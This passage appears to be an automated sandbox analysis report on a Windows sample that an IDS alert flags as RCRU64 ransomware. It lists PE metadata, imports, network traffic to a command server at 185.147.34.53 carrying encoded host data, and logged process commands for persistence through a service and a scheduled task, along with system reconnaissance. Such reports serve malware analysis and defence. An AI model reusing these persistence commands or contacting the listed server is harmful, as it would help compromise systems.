                                        CLR (.Net) Version:
                                        OS Version Major:5
                                        OS Version Minor:1
                                        File Version Major:5
                                        File Version Minor:1
                                        Subsystem Version Major:5
                                        Subsystem Version Minor:1
                                        Import Hash:f527e8080fac9432953c548a4f7317af

                                        Entrypoint Preview

                                        Instruction
                                        call 00007F91CC7F76F7h
                                        jmp 00007F91CC7F6879h
                                        int3
                                        int3
                                        int3
                                        int3
                                        int3
                                        cmp cl, 00000040h
                                        jnc 00007F91CC7F6A17h
                                        cmp cl, 00000020h
                                        jnc 00007F91CC7F6A08h
                                        shrd eax, edx, cl
                                        shr edx, cl
                                        ret
                                        mov eax, edx
                                        xor edx, edx
                                        and cl, 0000001Fh
                                        shr eax, cl
                                        ret
                                        xor eax, eax
                                        xor edx, edx
                                        ret
                                        int3
                                        push esi
                                        mov eax, dword ptr [esp+14h]
                                        or eax, eax
                                        jne 00007F91CC7F6A2Ah
                                        mov ecx, dword ptr [esp+10h]
                                        mov eax, dword ptr [esp+0Ch]
                                        xor edx, edx
                                        div ecx
                                        mov ebx, eax
                                        mov eax, dword ptr [esp+08h]
                                        div ecx
                                        mov esi, eax
                                        mov eax, ebx
                                        mul dword ptr [esp+10h]
                                        mov ecx, eax
                                        mov eax, esi
                                        mul dword ptr [esp+10h]
                                        add edx, ecx
                                        jmp 00007F91CC7F6A49h
                                        mov ecx, eax
                                        mov ebx, dword ptr [esp+10h]
                                        mov edx, dword ptr [esp+0Ch]
                                        mov eax, dword ptr [esp+08h]
                                        shr ecx, 1
                                        rcr ebx, 1
                                        shr edx, 1
                                        rcr eax, 1
                                        or ecx, ecx
                                        jne 00007F91CC7F69F6h
                                        div ebx
                                        mov esi, eax
                                        mul dword ptr [esp+14h]
                                        mov ecx, eax
                                        mov eax, dword ptr [esp+10h]
                                        mul esi
                                        add edx, ecx
                                        jc 00007F91CC7F6A10h
                                        cmp edx, dword ptr [esp+0Ch]
                                        jnbe 00007F91CC7F6A0Ah
                                        jc 00007F91CC7F6A11h
                                        cmp eax, dword ptr [esp+08h]
                                        jbe 00007F91CC7F6A0Bh
                                        dec esi
                                        sub eax, dword ptr [esp+10h]
                                        sbb edx, dword ptr [esp+14h]
                                        xor ebx, ebx
                                        sub eax, dword ptr [esp+08h]
                                        sbb edx, dword ptr [esp+0Ch]
                                        neg edx
                                        neg eax
                                        sbb edx, 00000000h
                                        mov ecx, edx
                                        mov edx, ebx
                                        mov ebx, ecx
                                        mov ecx, eax
                                        mov eax, esi
                                        pop esi
                                        retn 0010h
                                        int3
                                        int3
                                        int3

                                        Rich Headers

                                        Programming Language:
                                        • [IMP] VS2008 SP1 build 30729

                                        Data Directories

                                        NameVirtual AddressVirtual Size Is in Section
                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                        IMAGE_DIRECTORY_ENTRY_IMPORT0x11da3c0xb4.rdata
                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0x1300000x1e0.rsrc
                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0x1310000xd6c8.reloc
                                        IMAGE_DIRECTORY_ENTRY_DEBUG0x1056400x38.rdata
                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                        IMAGE_DIRECTORY_ENTRY_TLS0x10571c0x18.rdata
                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x1056780x40.rdata
                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                        IMAGE_DIRECTORY_ENTRY_IAT0xe30000x328.rdata
                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                        Sections

                                        NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                        .text0x10000xe1d160xe1e005b0b7a61644d1ec84be32c0796de62e4False0.45959506433314884data6.643386465969573IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                        .rdata0xe30000x3bc800x3be00d319941e59edfb4000259f44e341ab1fFalse0.3937361364822547data5.009046947703662IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                        .data0x11f0000x107780x8200d7bed9ecc3537d8011c2bc425fdccb17False0.15655048076923078data4.832683015023007IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                        .rsrc0x1300000x1e00x200319e7ac1640c4d053129c81ac0038351False0.52734375data4.701503258251789IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                        .reloc0x1310000xd6c80xd8006c3f1e95eab8e1c998ada6606f497e10False0.5696795428240741data6.570851591859877IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                        Resources

                                        NameRVASizeTypeLanguageCountryZLIB Complexity
                                        RT_MANIFEST0x1300600x17dXML 1.0 document, ASCII text, with CRLF line terminatorsEnglishUnited States0.5931758530183727

                                        Imports

                                        DLLImport
                                        KERNEL32.dllSleep, FormatMessageW, GetLastError, SetEvent, GetDiskFreeSpaceExW, GetCurrentThread, WaitForSingleObjectEx, CloseHandle, HeapAlloc, GetLogicalDriveStringsA, GetProcAddress, SetFilePointerEx, LocalFree, GetFileSize, GetProcessHeap, GlobalMemoryStatusEx, MultiByteToWideChar, CopyFileW, WideCharToMultiByte, GetConsoleWindow, FormatMessageA, CreateSemaphoreA, CreateEventA, lstrcmpW, SetConsoleTitleW, SetLastError, QueryPerformanceCounter, QueryPerformanceFrequency, GetThreadTimes, WriteConsoleW, SetStdHandle, SetEnvironmentVariableA, FreeEnvironmentStringsW, GetComputerNameExW, GetSystemDirectoryW, GetFileAttributesW, CreateFileW, LocalAlloc, FindClose, WaitForMultipleObjectsEx, SetFilePointer, SetErrorMode, GetModuleFileNameW, WriteFile, ReleaseSemaphore, GetCurrentProcess, FindNextFileW, HeapFree, FindFirstFileW, ReadFile, GetModuleHandleW, CreateDirectoryW, GetEnvironmentStringsW, GetOEMCP, IsValidCodePage, FindNextFileA, FindFirstFileExA, GetTimeZoneInformation, HeapSize, HeapReAlloc, ReadConsoleW, CreatePipe, GetExitCodeProcess, GetConsoleMode, GetConsoleCP, FlushFileBuffers, GetFileType, EnumSystemLocalesW, GetUserDefaultLCID, IsValidLocale, GetTimeFormatW, GetDateFormatW, GetACP, GetCommandLineW, GetStringTypeW, EnterCriticalSection, LeaveCriticalSection, TryEnterCriticalSection, DeleteCriticalSection, GetCurrentThreadId, InitializeCriticalSectionAndSpinCount, CreateEventW, SwitchToThread, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetSystemTimeAsFileTime, GetTickCount, EncodePointer, DecodePointer, CompareStringW, LCMapStringW, GetLocaleInfoW, GetCPInfo, DeleteFileW, GetFileAttributesExW, SetEndOfFile, DeviceIoControl, MoveFileExW, AreFileApisANSI, ResetEvent, OpenEventA, SetWaitableTimer, GetCurrentProcessId, ResumeThread, GetLogicalProcessorInformation, GetModuleHandleA, CreateWaitableTimerA, InitializeSListHead, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsDebuggerPresent, GetStartupInfoW, SignalObjectAndWait, CreateThread, SetThreadPriority, GetThreadPriority, CreateTimerQueueTimer, ChangeTimerQueueTimer, DeleteTimerQueueTimer, GetNumaHighestNodeNumber, GetProcessAffinityMask, SetThreadAffinityMask, RegisterWaitForSingleObject, UnregisterWait, FreeLibrary, FreeLibraryAndExitThread, LoadLibraryExW, GetVersionExW, VirtualAlloc, VirtualProtect, VirtualFree, DuplicateHandle, InterlockedPopEntrySList, InterlockedPushEntrySList, InterlockedFlushSList, QueryDepthSList, UnregisterWaitEx, CreateTimerQueue, LoadLibraryW, WaitForSingleObject, RtlUnwind, RaiseException, ExitProcess, GetModuleHandleExW, CreateProcessA, ExitThread, GetModuleFileNameA, GetStdHandle, GetCommandLineA
                                        USER32.dllEnumWindows, GetWindowTextA, ShowWindow, GetWindowTextLengthA
                                        ADVAPI32.dllCryptGenRandom, CryptReleaseContext, CryptAcquireContextA, SetSecurityDescriptorDacl, AccessCheck, SetSecurityDescriptorOwner, AllocateAndInitializeSid, IsValidSecurityDescriptor, OpenProcessToken, FreeSid, InitializeSecurityDescriptor, InitializeAcl, DuplicateToken, GetLengthSid, GetUserNameW, AddAccessAllowedAce, OpenThreadToken, SetSecurityDescriptorGroup
                                        SHELL32.dllShellExecuteW
                                        WS2_32.dllhtons, recv, connect, socket, send, WSAStartup, closesocket, WSACleanup, gethostbyname
                                        SHLWAPI.dllPathIsNetworkPathA
                                        NETAPI32.dllNetUserEnum, DsRoleGetPrimaryDomainInformation, NetApiBufferFree
                                        WININET.dllHttpOpenRequestW, HttpSendRequestW, InternetOpenW, InternetReadFile, InternetConnectW

                                        Possible Origin

                                        Language of compilation systemCountry where language is spokenMap
                                        EnglishUnited States

                                        Network Behavior

                                        Suricata IDS Alerts

                                        TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                        2024-12-06T13:39:27.608174+01002045821ET MALWARE [ANY.RUN] RCRU64 Ransomware Variant CnC Activity1192.168.2.849706185.147.34.533586TCP

                                        Network Port Distribution

                                        TCP Packets

                                        TimestampSource PortDest PortSource IPDest IP
                                        Dec 6, 2024 13:39:39.366286993 CET4970580192.168.2.8104.26.12.205
                                        Dec 6, 2024 13:39:39.485976934 CET8049705104.26.12.205192.168.2.8
                                        Dec 6, 2024 13:39:39.486093044 CET4970580192.168.2.8104.26.12.205
                                        Dec 6, 2024 13:39:39.503251076 CET4970580192.168.2.8104.26.12.205
                                        Dec 6, 2024 13:39:39.622958899 CET8049705104.26.12.205192.168.2.8
                                        Dec 6, 2024 13:39:40.589466095 CET8049705104.26.12.205192.168.2.8
                                        Dec 6, 2024 13:39:40.589534044 CET4970580192.168.2.8104.26.12.205
                                        Dec 6, 2024 13:39:40.607049942 CET497063586192.168.2.8185.147.34.53
                                        Dec 6, 2024 13:39:40.726764917 CET358649706185.147.34.53192.168.2.8
                                        Dec 6, 2024 13:39:40.726843119 CET497063586192.168.2.8185.147.34.53
                                        Dec 6, 2024 13:39:40.726989031 CET497063586192.168.2.8185.147.34.53
                                        Dec 6, 2024 13:39:40.846678019 CET358649706185.147.34.53192.168.2.8
                                        Dec 6, 2024 13:39:40.846868038 CET358649706185.147.34.53192.168.2.8

                                        UDP Packets

                                        TimestampSource PortDest PortSource IPDest IP
                                        Dec 6, 2024 13:39:39.220295906 CET6432353192.168.2.81.1.1.1
                                        Dec 6, 2024 13:39:39.357876062 CET53643231.1.1.1192.168.2.8

                                        DNS Queries

                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                        Dec 6, 2024 13:39:39.220295906 CET192.168.2.81.1.1.10x2dbbStandard query (0)api.ipify.orgA (IP address)IN (0x0001)false

                                        DNS Answers

                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                        Dec 6, 2024 13:39:39.357876062 CET1.1.1.1192.168.2.80x2dbbNo error (0)api.ipify.org104.26.12.205A (IP address)IN (0x0001)false
                                        Dec 6, 2024 13:39:39.357876062 CET1.1.1.1192.168.2.80x2dbbNo error (0)api.ipify.org172.67.74.152A (IP address)IN (0x0001)false
                                        Dec 6, 2024 13:39:39.357876062 CET1.1.1.1192.168.2.80x2dbbNo error (0)api.ipify.org104.26.13.205A (IP address)IN (0x0001)false

                                        HTTP Request Dependency Graph

                                        • api.ipify.org
                                        • 185.147.34.53

                                        HTTP Packets

                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        0192.168.2.849705104.26.12.205804584C:\Users\user\Desktop\GD8c7ARn8q.exe
                                        TimestampBytes transferredDirectionData
                                        Dec 6, 2024 13:39:39.503251076 CET82OUTGET / HTTP/1.1
                                        Accept: text/*
                                        User-Agent: YourUserAgent
                                        Host: api.ipify.org
                                        Dec 6, 2024 13:39:40.589466095 CET429INHTTP/1.1 200 OK
                                        Date: Fri, 06 Dec 2024 12:39:40 GMT
                                        Content-Type: text/plain
                                        Content-Length: 12
                                        Connection: keep-alive
                                        Vary: Origin
                                        CF-Cache-Status: DYNAMIC
                                        Server: cloudflare
                                        CF-RAY: 8edc570d9fe04373-EWR
                                        server-timing: cfL4;desc="?proto=TCP&rtt=1614&min_rtt=1614&rtt_var=807&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=82&delivery_rate=0&cwnd=230&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                        Data Raw: 38 2e 34 36 2e 31 32 33 2e 32 32 38
                                        Data Ascii: 8.46.123.228


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        1192.168.2.849706185.147.34.5335864584C:\Users\user\Desktop\GD8c7ARn8q.exe
                                        TimestampBytes transferredDirectionData
                                        Dec 6, 2024 13:39:40.726989031 CET2115OUTGET /110_And_Netword_Drive_Size:0_Encryption_Mode:_Fast_Mode!Empty]_____03/10/2023,_10:57:18$_06/12/2024-_7:39:[Version_10.0.19045.2006|Microsoft_Windows_10_Prohg3l,8.46.123.228~L8ae3QDN5/7WEYRQdyd7gQP2QfCOGDk74FBdfsfVfUs/d2VqeET9biQgajvWB/f/SKX0rlUUELEFLCaUUUsINxq/5tO/AVLZJ9lisLMWYSCAlhhHPBSzG2sJNnlGWwQaJrjM7Vv2GQAWn8uL2kNPM4qCfAhq3CJcfYEm/cCOoLKHTOx3gAi032hSQDHsltQy88LYOIRtkvAvcemkN3zxaIJ8V1kWZtApiNwYy3ZZyfD4xnFnArQ9zNYxiEhpWowMcTfa2lJij1P5evjtRYU+Nn3hhVu7UX1N8nzj0Jn8RNVRQ7O70cjgrSNb3BXjp5+EjBRrcU3Wz+zj2DQ1Ny6GBcXtYJ12obHOpt1JJ0WHN5NYpfnbafnPxALaxlWdFDT2Vm5nWP5uI1rZI863jU2En8vlQQGnudH8g1ynDWKF9Rwv7UKb9D9v9awhB3yHwdjsB1YaXmb+/MjhEL4EvM1n8OyNj0dqPtO1vGva8Vlsks+ZaiHHtfYx39ZR5BPvbb4XII0J7x233xYh6PG1pG2CEzI8MqPv/KL5j2RsJnax/f8DRruBdno37NlcnW94eY1xWsegJ8jZ1mIGuA3udvlu2cY4EhXsZQ5nbXPmDAgERAoIBABxY9aJAazvV1HEk/1Cb6SbWJonSN/izOrTqIIM0CBwwCTKfWkGmD2d4sxkU9BEEwA4v4rt5AHsBYgntrs++axAbu0Km33+dhAc9XnxqdO1/Qcw8jCkSdrtxv4vOBhH1p4OG/W3MrvFdQrIl/TXfgBOKmo/ndBW+ODqRFKp8Ifl+ROTa9KkURg9rkY+eV+iAQd2dXgTwxjyLvhFAjEV8tVd+hQNn0/ovG [TRUNCATED]
                                        Host: 185.147.34.53
                                        Connection: close


                                        Statistics

                                        CPU Usage

                                        Click to jump to process

                                        Memory Usage

                                        Click to jump to process

                                        High Level Behavior Distribution

                                        Click to dive into process behavior distribution

                                        Behavior

                                        Click to jump to process

                                        System Behavior

                                        General

                                        Target ID:0
                                        Start time:07:39:30
                                        Start date:06/12/2024
                                        Path:C:\Users\user\Desktop\GD8c7ARn8q.exe
                                        Wow64 process (32bit):true
                                        Commandline:"C:\Users\user\Desktop\GD8c7ARn8q.exe"
                                        Imagebase:0x860000
                                        File size:1'260'544 bytes
                                        MD5 hash:142C78E668B72F3962C176F81A941953
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:low
                                        Has exited:false

                                        General

                                        Target ID:1
                                        Start time:07:39:30
                                        Start date:06/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6ee680000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high
                                        Has exited:false

                                        General

                                        Target ID:3
                                        Start time:07:39:30
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\cmd.exe
                                        Wow64 process (32bit):true
                                        Commandline:C:\Windows\system32\cmd.exe /c tasklist /v /fo csv | findstr /i "dcdcf"
                                        Imagebase:0xa40000
                                        File size:236'544 bytes
                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high
                                        Has exited:true

                                        General

                                        Target ID:4
                                        Start time:07:39:30
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\tasklist.exe
                                        Wow64 process (32bit):true
                                        Commandline:tasklist /v /fo csv
                                        Imagebase:0x3d0000
                                        File size:79'360 bytes
                                        MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high
                                        Has exited:true

                                        General

                                        Target ID:5
                                        Start time:07:39:30
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\findstr.exe
                                        Wow64 process (32bit):true
                                        Commandline:findstr /i "dcdcf"
                                        Imagebase:0xab0000
                                        File size:29'696 bytes
                                        MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high
                                        Has exited:true

                                        General

                                        Target ID:6
                                        Start time:07:39:33
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\cmd.exe
                                        Wow64 process (32bit):true
                                        Commandline:C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto
                                        Imagebase:0xa40000
                                        File size:236'544 bytes
                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high
                                        Has exited:true

                                        General

                                        Target ID:7
                                        Start time:07:39:33
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\sc.exe
                                        Wow64 process (32bit):true
                                        Commandline:sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto
                                        Imagebase:0xce0000
                                        File size:61'440 bytes
                                        MD5 hash:D9D7684B8431A0D10D0E76FE9F5FFEC8
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:moderate
                                        Has exited:true

                                        General

                                        Target ID:8
                                        Start time:07:39:33
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\cmd.exe
                                        Wow64 process (32bit):true
                                        Commandline:C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start= auto
                                        Imagebase:0xa40000
                                        File size:236'544 bytes
                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high
                                        Has exited:true

                                        General

                                        Target ID:9
                                        Start time:07:39:33
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\sc.exe
                                        Wow64 process (32bit):true
                                        Commandline:sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start= auto
                                        Imagebase:0xce0000
                                        File size:61'440 bytes
                                        MD5 hash:D9D7684B8431A0D10D0E76FE9F5FFEC8
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:moderate
                                        Has exited:true

                                        General

                                        Target ID:10
                                        Start time:07:39:33
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\cmd.exe
                                        Wow64 process (32bit):true
                                        Commandline:C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Documents and Settings\user\Start Menu\Programs\Startup\Xinfecter.exe" start= auto
                                        Imagebase:0xa40000
                                        File size:236'544 bytes
                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high
                                        Has exited:true

                                        General

                                        Target ID:11
                                        Start time:07:39:33
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\sc.exe
                                        Wow64 process (32bit):true
                                        Commandline:sc create SqlBakup binPath= "C:\Documents and Settings\user\Start Menu\Programs\Startup\Xinfecter.exe" start= auto
                                        Imagebase:0xce0000
                                        File size:61'440 bytes
                                        MD5 hash:D9D7684B8431A0D10D0E76FE9F5FFEC8
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:moderate
                                        Has exited:true

                                        General

                                        Target ID:12
                                        Start time:07:39:33
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\cmd.exe
                                        Wow64 process (32bit):true
                                        Commandline:C:\Windows\system32\cmd.exe /c ver
                                        Imagebase:0xa40000
                                        File size:236'544 bytes
                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:13
                                        Start time:07:39:33
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\cmd.exe
                                        Wow64 process (32bit):true
                                        Commandline:C:\Windows\system32\cmd.exe /c cd "%SystemDrive%\Users\%username%\AppData\"&S-2153.bat
                                        Imagebase:0xa40000
                                        File size:236'544 bytes
                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:14
                                        Start time:07:39:33
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\wscript.exe
                                        Wow64 process (32bit):true
                                        Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs"
                                        Imagebase:0x8b0000
                                        File size:147'456 bytes
                                        MD5 hash:FF00E0480075B095948000BDC66E81F0
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:15
                                        Start time:07:39:33
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\cmd.exe
                                        Wow64 process (32bit):true
                                        Commandline:C:\Windows\system32\cmd.exe /c schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\%username%\AppData\S-2153.bat'" /f
                                        Imagebase:0xa40000
                                        File size:236'544 bytes
                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:16
                                        Start time:07:39:33
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\schtasks.exe
                                        Wow64 process (32bit):true
                                        Commandline:schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\user\AppData\S-2153.bat'" /f
                                        Imagebase:0xe70000
                                        File size:187'904 bytes
                                        MD5 hash:48C2FE20575769DE916F48EF0676A965
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:17
                                        Start time:07:39:33
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\cmd.exe
                                        Wow64 process (32bit):true
                                        Commandline:C:\Windows\system32\cmd.exe /c echo %date%-%time%
                                        Imagebase:0xa40000
                                        File size:236'544 bytes
                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:18
                                        Start time:07:39:34
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\cmd.exe
                                        Wow64 process (32bit):true
                                        Commandline:C:\Windows\system32\cmd.exe /c systeminfo|find /i "os name"
                                        Imagebase:0xa40000
                                        File size:236'544 bytes
                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:19
                                        Start time:07:39:34
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\cmd.exe
                                        Wow64 process (32bit):true
                                        Commandline:C:\Windows\system32\cmd.exe /C echo C:\Users\user\AppData\S-6748.bat
                                        Imagebase:0xa40000
                                        File size:236'544 bytes
                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:20
                                        Start time:07:39:34
                                        Start date:06/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6ee680000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:21
                                        Start time:07:39:34
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\systeminfo.exe
                                        Wow64 process (32bit):true
                                        Commandline:systeminfo
                                        Imagebase:0xb70000
                                        File size:76'800 bytes
                                        MD5 hash:36CCB1FFAFD651F64A22B5DA0A1EA5C5
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:22
                                        Start time:07:39:34
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\find.exe
                                        Wow64 process (32bit):true
                                        Commandline:find /i "os name"
                                        Imagebase:0xfc0000
                                        File size:14'848 bytes
                                        MD5 hash:15B158BC998EEF74CFDD27C44978AEA0
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:24
                                        Start time:07:39:34
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\cmd.exe
                                        Wow64 process (32bit):true
                                        Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\S-6748.bat" "
                                        Imagebase:0xa40000
                                        File size:236'544 bytes
                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:false

                                        General

                                        Target ID:25
                                        Start time:07:39:34
                                        Start date:06/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6ee680000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:false

                                        General

                                        Target ID:26
                                        Start time:07:39:34
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\tasklist.exe
                                        Wow64 process (32bit):true
                                        Commandline:tasklist /v
                                        Imagebase:0x3d0000
                                        File size:79'360 bytes
                                        MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:27
                                        Start time:07:39:34
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\find.exe
                                        Wow64 process (32bit):true
                                        Commandline:find /I /c "dcdcf"
                                        Imagebase:0xfc0000
                                        File size:14'848 bytes
                                        MD5 hash:15B158BC998EEF74CFDD27C44978AEA0
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:28
                                        Start time:07:39:35
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\cmd.exe
                                        Wow64 process (32bit):true
                                        Commandline:C:\Windows\system32\cmd.exe /c systeminfo|find /i "original"
                                        Imagebase:0xa40000
                                        File size:236'544 bytes
                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:29
                                        Start time:07:39:35
                                        Start date:06/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\SYSTEM32\cmd.exe /c ""C:\Users\user\AppData\S-2153.bat""
                                        Imagebase:0x7ff64f700000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
